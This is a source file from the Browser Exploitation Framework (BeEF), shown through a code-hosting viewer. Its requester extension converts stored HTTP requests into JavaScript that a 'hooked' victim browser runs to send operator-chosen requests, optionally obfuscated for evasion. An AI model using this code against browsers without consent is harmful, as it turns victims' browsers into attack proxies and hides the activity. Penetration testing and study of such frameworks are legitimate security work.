Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/requester/api/hook.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
module BeEF
8
module Extension
9
module Requester
10
module API
11
require 'uri'
12
class Hook
13
include BeEF::Core::Handlers::Modules::BeEFJS
14
15
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
16
# and send them to the hooked browser.
17
def requester_run(hb, body)
18
@body = body
19
# Generate all the requests and output them to the hooked browser
20
output = []
21
print_debug hb.to_json
22
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
23
output << requester_parse_db_request(h)
24
end
25
26
return if output.empty?
27
28
config = BeEF::Core::Configuration.instance
29
ws = BeEF::Core::Websocket::Websocket.instance
30
31
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
32
33
# TODO: antisnatchor: prevent sending "content" multiple times.
34
# Better leaving it after the first run, and don't send it again.
35
# todo antisnatchor: remove this gsub crap adding some hook packing.
36
37
# If we use WebSockets, just reply wih the component contents
38
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
39
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
40
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
41
// Browser Exploitation Framework (BeEF) - https://beefproject.com
42
// See the file \'doc/COPYING\' for copying permission
43
//', '')
44
add_to_body output
45
if config.get('beef.extension.evasion.enable')
46
ws.send(evasion.obfuscate(content) + @body, hb.session)
47
else
48
ws.send(content + @body, hb.session)
49
end
50
# if we use XHR-polling, add the component to the main hook file
51
else
52
53
build_missing_beefjs_components 'beef.net.requester'
54
# Send the command to perform the requests to the hooked browser
55
add_to_body output
56
end
57
end
58
59
def add_to_body(output)
60
config = BeEF::Core::Configuration.instance
61
62
req = %{
63
beef.execute(function() {
64
beef.net.requester.send(
65
#{output.to_json}
66
);
67
});
68
}
69
70
if config.get('beef.extension.evasion.enable')
71
evasion = BeEF::Extension::Evasion::Evasion.instance
72
@body << evasion.obfuscate(req)
73
else
74
@body << req
75
end
76
end
77
78
#
79
# Converts an HTTP db object into an Hash that follows the representation
80
# of input data for the beef.net.request Javascript API function.
81
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
82
# and finally sent to and executed by the hooked browser.
83
def requester_parse_db_request(http_db_object)
84
allow_cross_origin = http_db_object.allow_cross_origin.to_s
85
verb = http_db_object.method.upcase
86
proto = http_db_object.proto.downcase
87
uri = http_db_object.request.split(/\s+/)[1]
88
headers = {}
89
90
req_parts = http_db_object.request.split(/\r?\n/)
91
92
@host = http_db_object.domain
93
@port = http_db_object.port
94
95
print_debug 'http_db_object:'
96
print_debug http_db_object.to_json
97
98
# @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
99
req_parts.each_with_index do |value, index|
100
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
101
102
@post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
103
end
104
105
# @note: add HTTP request headers to an Hash
106
req_parts.each_with_index do |value, index|
107
if verb.eql?('POST')
108
if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
109
header_key = value.split(/: /)[0]
110
header_value = value.split(/: /)[1]
111
headers[header_key] = header_value
112
end
113
elsif index.positive?
114
header_key = value.split(/: /)[0]
115
header_value = value.split(/: /)[1]
116
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
117
end
118
end
119
120
# set default port if nil
121
if @port.nil?
122
@port = if uri.to_s =~ /^https?/
123
# absolute
124
uri.match(/^https:/) ? 443 : 80
125
else
126
# relative
127
proto.eql?('https') ? 443 : 80
128
end
129
end
130
131
# Build request
132
http_request_object = {
133
'id' => http_db_object.id,
134
'method' => verb,
135
'proto' => proto,
136
'host' => @host,
137
'port' => @port,
138
'uri' => uri,
139
'headers' => headers,
140
'allowCrossOrigin' => allow_cross_origin
141
}
142
143
# Add POST request data
144
if !@content_length.nil? && @content_length.positive?
145
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
146
@post_data = post_data_sliced.join
147
http_request_object['data'] = @post_data
148
end
149
150
# @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
151
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
152
153
print_debug 'result http_request_object'
154
print_debug http_request_object.to_json
155
156
http_request_object
157
end
158
end
159
end
160
end
161
end
162
end
163
164